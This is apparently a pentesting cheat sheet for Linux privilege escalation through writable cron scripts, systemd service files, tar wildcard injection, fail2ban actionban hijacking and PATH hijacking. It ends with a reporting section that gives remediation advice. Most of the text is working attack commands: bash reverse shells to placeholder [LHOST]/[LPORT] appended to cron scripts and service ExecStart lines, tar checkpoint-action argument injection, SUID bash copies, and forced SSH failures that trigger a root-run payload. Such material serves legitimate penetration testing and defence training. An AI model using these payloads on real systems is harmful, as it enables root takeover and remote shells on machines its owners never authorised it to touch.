🛡️ Methodology Checklist

  • Enumerate cron jobs: cat /etc/crontab; ls /etc/cron.*; crontab -l
  • Find writable scripts called by root cron tasks
  • Look for relative paths in crontab (PATH hijack opportunity)
  • Running processes as root: ps aux | grep root
  • Check service binary and config file permissions
  • Systemd timers: systemctl list-timers --all
  • Mine /var/log/syslog for recurring root-run patterns

🎯 Operational Context

Use when: Writable cron job scripts, service binary paths, or environment PATH variables in cron — hijack execution flow to run commands as root. Think Dumber First: cat /etc/crontab and ls /etc/cron.d/ first. Find cron scripts running as root. Check if the script or any file it calls is world-writable. Then pspy64 to see all cron jobs including those not in /etc/crontab. Skip when: All cron scripts and their dependencies are root-owned and not world-writable — move to other vectors.


⚡ Tactical Cheatsheet

CommandTactical Outcome
cat /etc/crontab; ls /etc/cron.d/; cat /var/spool/cron/crontabs/rootEnumerate all cron tabs
./pspy64 -pf -i 1000Monitor processes real-time — find root crons without read access
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/nullFind world-writable files
ls -la [SCRIPT]; cat [SCRIPT]Check permissions + content of discovered cron script
echo "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1" >> [WRITABLE_SCRIPT]Append reverse shell to writable cron script
nc -lnvp [LPORT]Catch cron-triggered root shell (wait up to 5 min)
find / -name "*.service" 2>/dev/null | xargs grep -l "ExecStart"Find systemd service files
systemctl list-timers --allShow all systemd timers (alternative to cron)
ps aux | grep rootProcesses running as root — look for scripts/custom binaries
ss -lntp; netstat -lntpServices listening on localhost (may expose internal services)
ls -la /etc/fail2ban/action.d/Check writable fail2ban action configs (root runs actionban on ban)

🔬 Deep Dive & Workflow

Cron Job Exploitation Flow

1. Read cron tabs:
   cat /etc/crontab
   ls -la /etc/cron.{d,hourly,daily,weekly,monthly}/
   cat /var/spool/cron/crontabs/root   (often requires root)

2. If can't read crontab → pspy64
   ./pspy64 -pf -i 1000
   Watch for: UID=0 executing scripts in writable locations

3. Check script permissions:
   ls -la [SCRIPT_PATH]
   → If -rwxrwxrwx or -rwxrwxr-x with your user as group → writable

4. If directory writable but script not:
   mv [SCRIPT] [SCRIPT].bak
   cp /bin/bash [SCRIPT]   # or write reverse shell
   chmod +x [SCRIPT]

5. Append payload (preserves original function):
   echo "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1" >> [SCRIPT]

6. Start listener → wait for trigger interval

Critical: Always use >> not > to avoid breaking original script (alerts admins). Always use absolute paths in payloads — cron runs with minimal PATH.

Tar Wildcard Injection

# Cron job: cd /var/backups && tar -czf backup.tar.gz *
# Wildcard * expands to filenames in current dir
 
# Create "flag" files that tar interprets as arguments:
echo "" > /var/backups/--checkpoint=1
echo "" > "/var/backups/--checkpoint-action=exec=sh shell.sh"
echo "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1" > /var/backups/shell.sh
chmod +x /var/backups/shell.sh
# → tar expands * → sees --checkpoint and --checkpoint-action → executes shell.sh as root

Writable Service Files

# Find writable systemd service
find /etc/systemd/system /lib/systemd/system -writable 2>/dev/null
 
# Edit ExecStart in service file
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1'
 
# Reload and restart
systemctl daemon-reload && systemctl restart [SERVICE]

Fail2Ban Action Hijack (actionban as root)

Fail2Ban runs as root and executes the actionban command from an action config whenever a jail bans a source. If you can write to /etc/fail2ban/action.d/ (commonly via a service/group membership) or to jail.local, AND you can restart fail2ban (sudo restart, or it auto-restarts), you control a root-executed command.

# Precondition checks
ls -la /etc/fail2ban/action.d/          # writable action configs?
ls -la /etc/fail2ban/jail.local         # writable jail config?
sudo -l 2>/dev/null | grep -i fail2ban  # can you restart the service?
 
# Find the action used by the active jail (e.g. iptables-multiport)
grep -R "action" /etc/fail2ban/jail.{conf,local} 2>/dev/null
 
# Overwrite the actionban line in the active action config
# Example payload: copy a SUID shell (also: reverse shell, chmod +s /bin/bash)
sed -i 's@^actionban = .*@actionban = cp /bin/bash /tmp/rootbash \&\& chmod +s /tmp/rootbash@' \
    /etc/fail2ban/action.d/iptables-multiport.conf
# Alt payload: actionban = bash -c 'bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1'
# Alt payload: actionban = chmod +s /bin/bash
 
# Reload/restart so the modified action loads
sudo systemctl restart fail2ban   # or: sudo fail2ban-client reload
 
# TRIGGER the ban so actionban fires AS ROOT — generate enough failed SSH
# logins from a throwaway source to cross maxretry and get banned:
for i in $(seq 1 10); do ssh nonexistent@[TARGET] 2>/dev/null; done
# (or hydra/medusa burst against SSH from a disposable host)
 
# Once banned, actionban executed as root:
/tmp/rootbash -p        # -p preserves the SUID euid → root

The sed above, done by hand (understand what you’re changing). The payload edit is the crux — do it in an editor first. Open the action config the active jail uses (the banaction in jail.conf/jail.local, commonly iptables-multiport):

sudo nano /etc/fail2ban/action.d/iptables-multiport.conf

Find the [Definition] section and the line that runs on a ban:

[Definition]
...
actionban = <iptables command that blocks the IP>

Replace the value (everything after actionban =) with your command — it runs as root verbatim when a ban fires:

actionban = cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash

That’s exactly what sed -i 's@^actionban = .*@actionban = <payload>@' automates: anchor the actionban = line, swap its value. Knowing the file (action.d/<banaction>.conf), the section ([Definition]), and the key (actionban) is what lets you find and fix it when the jail uses a different action (ufw, firewallcmd-ipset, a custom one) than the example.

Gotcha: restarting/reloading fail2ban does NOT itself run actionban — only an actual ban does. You must generate real failed auth attempts (or otherwise satisfy the jail filter) so the ban fires; just reloading the config does nothing. Cleanup care: use a throwaway/disposable source to trigger the ban so you don’t lock out a real address you need.

Exposed Local Services

# Find services on localhost only
ss -lntp | grep 127.0.0.1
# → might find internal DB, Redis, Memcached, etc. with no auth
# → forward port: ssh -L 3306:127.0.0.1:3306 [USER]@[TARGET] → connect locally

pspy Usage

# Download to target
wget http://[LHOST]/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
 
# Run and watch
./pspy64 -pf -i 1000
# UID=0 = root. Look for periodic scripts, especially in /tmp, /home, /var
# -pf: print file system events too
# -i 1000: scan every 1 second

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
No writable cron scriptsAll cron paths root-ownedCheck script’s working directory: if cwd is writable and script uses relative paths, PATH hijack possible
Cron job not in /etc/crontabUser crontabs or hidden jobsRun pspy: ./pspy64 -p; watches all process spawns including cron
PATH hijacking in cronPATH not set in crontabIf crontab doesn’t set PATH, /usr/local/bin:/usr/bin:/bin is default; writable earlier path = hijack
pspy not availableNo internet or restrictedCompile locally: GOOS=linux go build pspy.go; or use watch -n 1 'ps aux' for manual monitoring
Cron executes but no shell callbackCron env lacks networkCron has minimal env; write result to file: * * * * * root /bin/bash -c 'id > /tmp/pwned'
Modified fail2ban action never firesRestart alone doesn’t run actionbanRestart only reloads config — you must trigger an actual ban (e.g. burst of failed SSH logins from a throwaway source) for actionban to execute as root

📝 Reporting Trigger

Finding Title: Writable Cron Script Enables Privilege Escalation Impact: World-writable cron script executed as root allows injection of arbitrary commands into a scheduled task, achieving root code execution on the next scheduled run without requiring any interaction. Root Cause: Cron job configuration sets script permissions too permissively. No monitoring of cron script content or integrity. Recommendation: Ensure all cron scripts are owned by root and not world-writable. Implement file integrity monitoring for all cron job scripts. Audit cron configurations against least-privilege principle. Consider using systemd timers with explicit user context instead of cron.